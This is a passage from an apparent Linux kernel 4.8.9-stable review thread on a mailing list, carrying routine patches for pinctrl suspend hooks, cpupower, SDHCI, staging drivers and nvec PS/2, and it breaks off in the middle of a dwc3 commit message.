Prevent the possible interrupt storm by moving suspend and resume hooks to
be called at _noirq time instead. Since device interrupts are still
disabled we can restore the mask back to known state before interrupt storm
happens.

Reported-by: Christian Steiner <christian.steiner@outlook.de>
Signed-off-by: Mika Westerberg <mika.westerberg@linux.intel.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/pinctrl/intel/pinctrl-cherryview.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- a/drivers/pinctrl/intel/pinctrl-cherryview.c
+++ b/drivers/pinctrl/intel/pinctrl-cherryview.c
@@ -1634,7 +1634,7 @@ static int chv_pinctrl_remove(struct pla
 }
 
 #ifdef CONFIG_PM_SLEEP
-static int chv_pinctrl_suspend(struct device *dev)
+static int chv_pinctrl_suspend_noirq(struct device *dev)
 {
 	struct platform_device *pdev = to_platform_device(dev);
 	struct chv_pinctrl *pctrl = platform_get_drvdata(pdev);
@@ -1668,7 +1668,7 @@ static int chv_pinctrl_suspend(struct de
 	return 0;
 }
 
-static int chv_pinctrl_resume(struct device *dev)
+static int chv_pinctrl_resume_noirq(struct device *dev)
 {
 	struct platform_device *pdev = to_platform_device(dev);
 	struct chv_pinctrl *pctrl = platform_get_drvdata(pdev);
@@ -1728,7 +1728,8 @@ static int chv_pinctrl_resume(struct dev
 #endif
 
 static const struct dev_pm_ops chv_pinctrl_pm_ops = {
-	SET_LATE_SYSTEM_SLEEP_PM_OPS(chv_pinctrl_suspend, chv_pinctrl_resume)
+	SET_NOIRQ_SYSTEM_SLEEP_PM_OPS(chv_pinctrl_suspend_noirq,
+				      chv_pinctrl_resume_noirq)
 };
 
 static const struct acpi_device_id chv_pinctrl_acpi_match[] = {

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 17/92] cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (14 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 16/92] pinctrl: cherryview: Prevent possible interrupt storm on resume Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 18/92] mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer Greg Kroah-Hartman
                     ` (63 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Julian Seward, Laura Abbott,
	Thomas Renninger, Rafael J. Wysocki

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Laura Abbott <labbott@redhat.com>

commit c25badc9ceb612c6cc227a6fc4b0aaf678e3bcf9 upstream.

When converting to a shared library in ac5a181d065d ("cpupower: Add
cpuidle parts into library"), cpu_freq_cpu_exists() was converted to
cpupower_is_cpu_online(). cpu_req_cpu_exists() returned 0 on success and
-ENOSYS on failure whereas cpupower_is_cpu_online returns 1 on success.
Check for the correct return value in cpufreq-set.

Link: https://bugzilla.redhat.com/show_bug.cgi?id=1374212
Fixes: ac5a181d065d (cpupower: Add cpuidle parts into library)
Reported-by: Julian Seward <jseward@acm.org>
Signed-off-by: Laura Abbott <labbott@redhat.com>
Acked-by: Thomas Renninger <trenn@suse.com>
Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 tools/power/cpupower/utils/cpufreq-set.c |    7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

--- a/tools/power/cpupower/utils/cpufreq-set.c
+++ b/tools/power/cpupower/utils/cpufreq-set.c
@@ -296,7 +296,7 @@ int cmd_freq_set(int argc, char **argv)
 			struct cpufreq_affected_cpus *cpus;
 
 			if (!bitmask_isbitset(cpus_chosen, cpu) ||
-			    cpupower_is_cpu_online(cpu))
+			    cpupower_is_cpu_online(cpu) != 1)
 				continue;
 
 			cpus = cpufreq_get_related_cpus(cpu);
@@ -316,10 +316,7 @@ int cmd_freq_set(int argc, char **argv)
 	     cpu <= bitmask_last(cpus_chosen); cpu++) {
 
 		if (!bitmask_isbitset(cpus_chosen, cpu) ||
-		    cpupower_is_cpu_online(cpu))
-			continue;
-
-		if (cpupower_is_cpu_online(cpu) != 1)
+		    cpupower_is_cpu_online(cpu) != 1)
 			continue;
 
 		printf(_("Setting cpu: %d\n"), cpu);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 18/92] mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (15 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 17/92] cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 19/92] mmc: sdhci: Fix unexpected data interrupt handling Greg Kroah-Hartman
                     ` (62 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Adrian Hunter, Ulf Hansson

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Adrian Hunter <adrian.hunter@intel.com>

commit 6ebebeab5185f50d55c6a24d0abe47e5dac1b191 upstream.

CMD line reset during an ongoing data transfer can cause the data transfer
to hang.  Fix by delaying the reset until the data transfer is finished.

Signed-off-by: Adrian Hunter <adrian.hunter@intel.com>
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/mmc/host/sdhci.c |   23 ++++++++++++++++-------
 1 file changed, 16 insertions(+), 7 deletions(-)

--- a/drivers/mmc/host/sdhci.c
+++ b/drivers/mmc/host/sdhci.c
@@ -2269,10 +2269,8 @@ static bool sdhci_request_done(struct sd
 
 	for (i = 0; i < SDHCI_MAX_MRQS; i++) {
 		mrq = host->mrqs_done[i];
-		if (mrq) {
-			host->mrqs_done[i] = NULL;
+		if (mrq)
 			break;
-		}
 	}
 
 	if (!mrq) {
@@ -2303,6 +2301,17 @@ static bool sdhci_request_done(struct sd
 	 * upon error conditions.
 	 */
 	if (sdhci_needs_reset(host, mrq)) {
+		/*
+		 * Do not finish until command and data lines are available for
+		 * reset. Note there can only be one other mrq, so it cannot
+		 * also be in mrqs_done, otherwise host->cmd and host->data_cmd
+		 * would both be null.
+		 */
+		if (host->cmd || host->data_cmd) {
+			spin_unlock_irqrestore(&host->lock, flags);
+			return true;
+		}
+
 		/* Some controllers need this kick or reset won't work here */
 		if (host->quirks & SDHCI_QUIRK_CLOCK_BEFORE_RESET)
 			/* This is to force an update */
@@ -2310,10 +2319,8 @@ static bool sdhci_request_done(struct sd
 
 		/* Spec says we should do both at the same time, but Ricoh
 		   controllers do not like that. */
-		if (!host->cmd)
-			sdhci_do_reset(host, SDHCI_RESET_CMD);
-		if (!host->data_cmd)
-			sdhci_do_reset(host, SDHCI_RESET_DATA);
+		sdhci_do_reset(host, SDHCI_RESET_CMD);
+		sdhci_do_reset(host, SDHCI_RESET_DATA);
 
 		host->pending_reset = false;
 	}
@@ -2321,6 +2328,8 @@ static bool sdhci_request_done(struct sd
 	if (!sdhci_has_requests(host))
 		sdhci_led_deactivate(host);
 
+	host->mrqs_done[i] = NULL;
+
 	mmiowb();
 	spin_unlock_irqrestore(&host->lock, flags);
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 19/92] mmc: sdhci: Fix unexpected data interrupt handling
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (16 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 18/92] mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 20/92] mmc: mmc: Use 500ms as the default generic CMD6 timeout Greg Kroah-Hartman
                     ` (61 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Adrian Hunter, Ulf Hansson

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Adrian Hunter <adrian.hunter@intel.com>

commit 69b962a65a547690a356f9f76bc4f53db538ac49 upstream.

In the busy response case (i.e. !host->data), an unexpected data interrupt
would result in clearing the data command as though it had completed but
without informing the upper layers and thus resulting in a hang.  Fix by
only clearing the data command for data interrupts that are expected.

Signed-off-by: Adrian Hunter <adrian.hunter@intel.com>
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/mmc/host/sdhci.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- a/drivers/mmc/host/sdhci.c
+++ b/drivers/mmc/host/sdhci.c
@@ -2509,9 +2509,6 @@ static void sdhci_data_irq(struct sdhci_
 	if (!host->data) {
 		struct mmc_command *data_cmd = host->data_cmd;
 
-		if (data_cmd)
-			host->data_cmd = NULL;
-
 		/*
 		 * The "data complete" interrupt is also used to
 		 * indicate that a busy state has ended. See comment
@@ -2519,11 +2516,13 @@ static void sdhci_data_irq(struct sdhci_
 		 */
 		if (data_cmd && (data_cmd->flags & MMC_RSP_BUSY)) {
 			if (intmask & SDHCI_INT_DATA_TIMEOUT) {
+				host->data_cmd = NULL;
 				data_cmd->error = -ETIMEDOUT;
 				sdhci_finish_mrq(host, data_cmd->mrq);
 				return;
 			}
 			if (intmask & SDHCI_INT_DATA_END) {
+				host->data_cmd = NULL;
 				/*
 				 * Some cards handle busy-end interrupt
 				 * before the command completed, so make

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 20/92] mmc: mmc: Use 500ms as the default generic CMD6 timeout
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (17 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 19/92] mmc: sdhci: Fix unexpected data interrupt handling Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 21/92] staging: iio: ad5933: avoid uninitialized variable in error case Greg Kroah-Hartman
                     ` (60 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Ulf Hansson, Stephen Boyd, Linus Walleij

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Ulf Hansson <ulf.hansson@linaro.org>

commit fe1b5700c70faac6e027982d59667bc6020de5a8 upstream.

In the eMMC 4.51 version of the spec, an EXT_CSD field called
GENERIC_CMD6_TIME[248] was added. This allows cards to specify the maximum
time it may need to move out from its busy state, when a CMD6 command has
been sent.

In cases when the card is compliant to versions < 4.51 of the eMMC spec,
obviously the core needs to use a fall-back value for this timeout, which
currently is set to 10 minutes. This value is completely in the wrong range
and importantly in some cases it causes a card initialization to take more
than 10 minute to complete.

Earlier this scenario was avoided as the mmc core used CMD13 to poll the
card, to find out when it stopped signaling busy. Commit 08573eaf1a70
("mmc: mmc: do not use CMD13 to get status after speed mode switch")
changed this behavior.

Instead of reverting that commit, which would cause other issues, let's
instead start by picking a simple solution for the problem, by using a
500ms default generic CMD6 timeout.

The reason for using exactly 500ms, comes from observations that shows it's
quite common for cards to specify 250ms. 500ms is two times that value so
likely it should be enough for most cards.

Fixes: 08573eaf1a70 ("mmc: mmc: do not use CMD13 to get status after speed
mode switch")
Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
Tested-by: Stephen Boyd <sboyd@codeaurora.org>
Tested-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/mmc/core/mmc.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/drivers/mmc/core/mmc.c
+++ b/drivers/mmc/core/mmc.c
@@ -26,6 +26,8 @@
 #include "mmc_ops.h"
 #include "sd_ops.h"
 
+#define DEFAULT_CMD6_TIMEOUT_MS	500
+
 static const unsigned int tran_exp[] = {
 	10000,		100000,		1000000,	10000000,
 	0,		0,		0,		0
@@ -571,6 +573,7 @@ static int mmc_decode_ext_csd(struct mmc
 		card->erased_byte = 0x0;
 
 	/* eMMC v4.5 or later */
+	card->ext_csd.generic_cmd6_time = DEFAULT_CMD6_TIMEOUT_MS;
 	if (card->ext_csd.rev >= 6) {
 		card->ext_csd.feature_support |= MMC_DISCARD_FEATURE;
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 21/92] staging: iio: ad5933: avoid uninitialized variable in error case
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (18 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 20/92] mmc: mmc: Use 500ms as the default generic CMD6 timeout Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 22/92] staging: sm750fb: Fix bugs introduced by early commits Greg Kroah-Hartman
                     ` (59 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Arnd Bergmann, Lars-Peter Clausen,
	Jonathan Cameron

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Arnd Bergmann <arnd@arndb.de>

commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream.

The ad5933_i2c_read function returns an error code to indicate
whether it could read data or not. However ad5933_work() ignores
this return code and just accesses the data unconditionally,
which gets detected by gcc as a possible bug:

drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':
drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]

This adds minimal error handling so we only evaluate the
data if it was correctly read.

Link: https://patchwork.kernel.org/patch/8110281/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/iio/impedance-analyzer/ad5933.c |   17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

--- a/drivers/staging/iio/impedance-analyzer/ad5933.c
+++ b/drivers/staging/iio/impedance-analyzer/ad5933.c
@@ -655,6 +655,7 @@ static void ad5933_work(struct work_stru
 	__be16 buf[2];
 	int val[2];
 	unsigned char status;
+	int ret;
 
 	mutex_lock(&indio_dev->mlock);
 	if (st->state == AD5933_CTRL_INIT_START_FREQ) {
@@ -662,19 +663,22 @@ static void ad5933_work(struct work_stru
 		ad5933_cmd(st, AD5933_CTRL_START_SWEEP);
 		st->state = AD5933_CTRL_START_SWEEP;
 		schedule_delayed_work(&st->work, st->poll_time_jiffies);
-		mutex_unlock(&indio_dev->mlock);
-		return;
+		goto out;
 	}
 
-	ad5933_i2c_read(st->client, AD5933_REG_STATUS, 1, &status);
+	ret = ad5933_i2c_read(st->client, AD5933_REG_STATUS, 1, &status);
+	if (ret)
+		goto out;
 
 	if (status & AD5933_STAT_DATA_VALID) {
 		int scan_count = bitmap_weight(indio_dev->active_scan_mask,
 					       indio_dev->masklength);
-		ad5933_i2c_read(st->client,
+		ret = ad5933_i2c_read(st->client,
 				test_bit(1, indio_dev->active_scan_mask) ?
 				AD5933_REG_REAL_DATA : AD5933_REG_IMAG_DATA,
 				scan_count * 2, (u8 *)buf);
+		if (ret)
+			goto out;
 
 		if (scan_count == 2) {
 			val[0] = be16_to_cpu(buf[0]);
@@ -686,8 +690,7 @@ static void ad5933_work(struct work_stru
 	} else {
 		/* no data available - try again later */
 		schedule_delayed_work(&st->work, st->poll_time_jiffies);
-		mutex_unlock(&indio_dev->mlock);
-		return;
+		goto out;
 	}
 
 	if (status & AD5933_STAT_SWEEP_DONE) {
@@ -700,7 +703,7 @@ static void ad5933_work(struct work_stru
 		ad5933_cmd(st, AD5933_CTRL_INC_FREQ);
 		schedule_delayed_work(&st->work, st->poll_time_jiffies);
 	}
-
+out:
 	mutex_unlock(&indio_dev->mlock);
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 22/92] staging: sm750fb: Fix bugs introduced by early commits
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (19 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 21/92] staging: iio: ad5933: avoid uninitialized variable in error case Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 23/92] staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value Greg Kroah-Hartman
                     ` (58 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Huacai Chen

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Huacai Chen <chenhc@lemote.com>

commit 33c027ae3cfd8fefb6cccccc5c6b2c07d80891ce upstream.

Early commit 30ca5cb63c56965 ("staging: sm750fb: change definition of
PANEL_PLANE_TL fields") and 27b047bbe1ee9c0 ("staging: sm750fb: change
definition of PANEL_PLANE_BR fields") modify the register bit fields
definitions. But the modifications are wrong, because the bit mask of
"bit field 10:0" is not 0xeff, but 0x7ff. The wrong definition bugs
makes display very strange.

Signed-off-by: Huacai Chen <chenhc@lemote.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/sm750fb/ddk750_reg.h |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- a/drivers/staging/sm750fb/ddk750_reg.h
+++ b/drivers/staging/sm750fb/ddk750_reg.h
@@ -601,13 +601,13 @@
 
 #define PANEL_PLANE_TL                                0x08001C
 #define PANEL_PLANE_TL_TOP_SHIFT                      16
-#define PANEL_PLANE_TL_TOP_MASK                       (0xeff << 16)
-#define PANEL_PLANE_TL_LEFT_MASK                      0xeff
+#define PANEL_PLANE_TL_TOP_MASK                       (0x7ff << 16)
+#define PANEL_PLANE_TL_LEFT_MASK                      0x7ff
 
 #define PANEL_PLANE_BR                                0x080020
 #define PANEL_PLANE_BR_BOTTOM_SHIFT                   16
-#define PANEL_PLANE_BR_BOTTOM_MASK                    (0xeff << 16)
-#define PANEL_PLANE_BR_RIGHT_MASK                     0xeff
+#define PANEL_PLANE_BR_BOTTOM_MASK                    (0x7ff << 16)
+#define PANEL_PLANE_BR_RIGHT_MASK                     0x7ff
 
 #define PANEL_HORIZONTAL_TOTAL                        0x080024
 #define PANEL_HORIZONTAL_TOTAL_TOTAL_SHIFT            16

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 23/92] staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (20 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 22/92] staging: sm750fb: Fix bugs introduced by early commits Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 24/92] drivers: staging: nvec: remove bogus reset command for PS/2 interface Greg Kroah-Hartman
                     ` (57 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Ian Abbott

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Ian Abbott <abbotti@mev.co.uk>

commit 55abe8165f31ffb83ce8b24da959b61362dca4c4 upstream.

`ni_tio_clock_period_ps()` used to return the clock period in
picoseconds, and had a `BUG()` call for invalid cases.  It was changed
to pass the clock period back via a pointer parameter and return an
error for the invalid cases.  Unfortunately the code to handle
user-specified clock sources with user-specified clock period is still
returning the clock period the old way, which can lead to the caller not
getting the clock period, or seeing an unexpected error.  Fix it by
passing the clock period via the pointer parameter and returning `0`.

Fixes: b42ca86ad605 ("staging: comedi: ni_tio: remove BUG() checks for ni_tio_get_clock_src()")
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/comedi/drivers/ni_tio.c |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/drivers/staging/comedi/drivers/ni_tio.c
+++ b/drivers/staging/comedi/drivers/ni_tio.c
@@ -207,7 +207,8 @@ static int ni_tio_clock_period_ps(const
 		 * clock period is specified by user with prescaling
 		 * already taken into account.
 		 */
-		return counter->clock_period_ps;
+		*period_ps = counter->clock_period_ps;
+		return 0;
 	}
 
 	switch (generic_clock_source & NI_GPCT_PRESCALE_MODE_CLOCK_SRC_MASK) {

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 24/92] drivers: staging: nvec: remove bogus reset command for PS/2 interface
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (21 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 23/92] staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 25/92] Revert "staging: nvec: ps2: change serio type to passthrough" Greg Kroah-Hartman
                     ` (56 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Paul Fertser, Marc Dietrich

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Paul Fertser <fercerpav@gmail.com>

commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream.

This command was sent behind serio's back and the answer to it was
confusing atkbd probe function which lead to the elantech touchpad
getting detected as a keyboard.

To prevent this from happening just let every party do its part of the
job.

Signed-off-by: Paul Fertser <fercerpav@gmail.com>
Acked-by: Marc Dietrich <marvin24@gmx.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/nvec/nvec_ps2.c |    4 ----
 1 file changed, 4 deletions(-)

--- a/drivers/staging/nvec/nvec_ps2.c
+++ b/drivers/staging/nvec/nvec_ps2.c
@@ -106,7 +106,6 @@ static int nvec_mouse_probe(struct platf
 {
 	struct nvec_chip *nvec = dev_get_drvdata(pdev->dev.parent);
 	struct serio *ser_dev;
-	char mouse_reset[] = { NVEC_PS2, SEND_COMMAND, PSMOUSE_RST, 3 };
 
 	ser_dev = devm_kzalloc(&pdev->dev, sizeof(struct serio), GFP_KERNEL);
 	if (!ser_dev)
@@ -127,9 +126,6 @@ static int nvec_mouse_probe(struct platf
 
 	serio_register_port(ser_dev);
 
-	/* mouse reset */
-	nvec_write_async(nvec, mouse_reset, sizeof(mouse_reset));
-
 	return 0;
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 25/92] Revert "staging: nvec: ps2: change serio type to passthrough"
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (22 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 24/92] drivers: staging: nvec: remove bogus reset command for PS/2 interface Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:31   ` [PATCH 4.8 26/92] staging: nvec: remove managed resource from PS2 driver Greg Kroah-Hartman
                     ` (55 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Paul Fertser, Marc Dietrich

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Paul Fertser <fercerpav@gmail.com>

commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream.

This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad.

This is necessary to detect paz00 (ac100) touchpad properly as one
speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't
work as the touchpad is detected as an ImPS/2 mouse instead.

Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way
auto-detection is performed on ports marked as pass through and made the
issue apparent.

A pass through port is an additional PS/2 port used to connect a slave
device to a master device that is using PS/2 to communicate with the
host (so slave's PS/2 communication is tunneled over master's PS/2
link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a
setup (PS/2 PASS-THROUGH OPTION section).

Since paz00's embedded controller is not connected to a PS/2 port
itself, the PS/2 interface it exposes is not a pass-through one.

Signed-off-by: Paul Fertser <fercerpav@gmail.com>
Acked-by: Marc Dietrich <marvin24@gmx.de>
Fixes: 36b30d6138f4 ("staging: nvec: ps2: change serio type to passthrough")
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/nvec/nvec_ps2.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/staging/nvec/nvec_ps2.c
+++ b/drivers/staging/nvec/nvec_ps2.c
@@ -111,7 +111,7 @@ static int nvec_mouse_probe(struct platf
 	if (!ser_dev)
 		return -ENOMEM;
 
-	ser_dev->id.type = SERIO_PS_PSTHRU;
+	ser_dev->id.type = SERIO_8042;
 	ser_dev->write = ps2_sendcommand;
 	ser_dev->start = ps2_startstreaming;
 	ser_dev->stop = ps2_stopstreaming;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 26/92] staging: nvec: remove managed resource from PS2 driver
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (23 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 25/92] Revert "staging: nvec: ps2: change serio type to passthrough" Greg Kroah-Hartman
@ 2016-11-17 10:31   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 27/92] usb: dwc3: Fix error handling for core init Greg Kroah-Hartman
                     ` (54 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:31 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Marc Dietrich

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Marc Dietrich <marvin24@gmx.de>

commit 68fae2f3df455f53d0dfe33483a49020b3b758f3 upstream.

This basicly reverts commit e534f3e9 (staging:nvec: Introduce the use of
the managed version of kzalloc). Serio struct should never by managed
because it is refcounted. Doing so will lead to a double free oops on module
remove.

Signed-off-by: Marc Dietrich <marvin24@gmx.de>
Fixes: e534f3e9429f ("staging:nvec: Introduce the use of the managed version of kzalloc")
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/staging/nvec/nvec_ps2.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/staging/nvec/nvec_ps2.c
+++ b/drivers/staging/nvec/nvec_ps2.c
@@ -107,7 +107,7 @@ static int nvec_mouse_probe(struct platf
 	struct nvec_chip *nvec = dev_get_drvdata(pdev->dev.parent);
 	struct serio *ser_dev;
 
-	ser_dev = devm_kzalloc(&pdev->dev, sizeof(struct serio), GFP_KERNEL);
+	ser_dev = kzalloc(sizeof(struct serio), GFP_KERNEL);
 	if (!ser_dev)
 		return -ENOMEM;
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 27/92] usb: dwc3: Fix error handling for core init
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (24 preceding siblings ...)
  2016-11-17 10:31   ` [PATCH 4.8 26/92] staging: nvec: remove managed resource from PS2 driver Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 28/92] USB: cdc-acm: fix TIOCMIWAIT Greg Kroah-Hartman
                     ` (53 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Felipe Balbi, Vivek Gautam

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Vivek Gautam <vivek.gautam@codeaurora.org>

commit 9b9d7cdd0a20a8c26a022604580f93516ad69c36 upstream.

Fixing the sequence of events in dwc3_core_init() error exit path.
dwc3_core_exit() call is also removed from the error path since,
whatever it's doing is already done.

Fixes: c499ff7 usb: dwc3: core: re-factor init and exit paths

Cc: Felipe Balbi <felipe.balbi@linux.intel.com>
Cc: Greg KH <gregkh@linuxfoundation.org>
Signed-off-by: Vivek Gautam <vivek.gautam@codeaurora.org>
Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
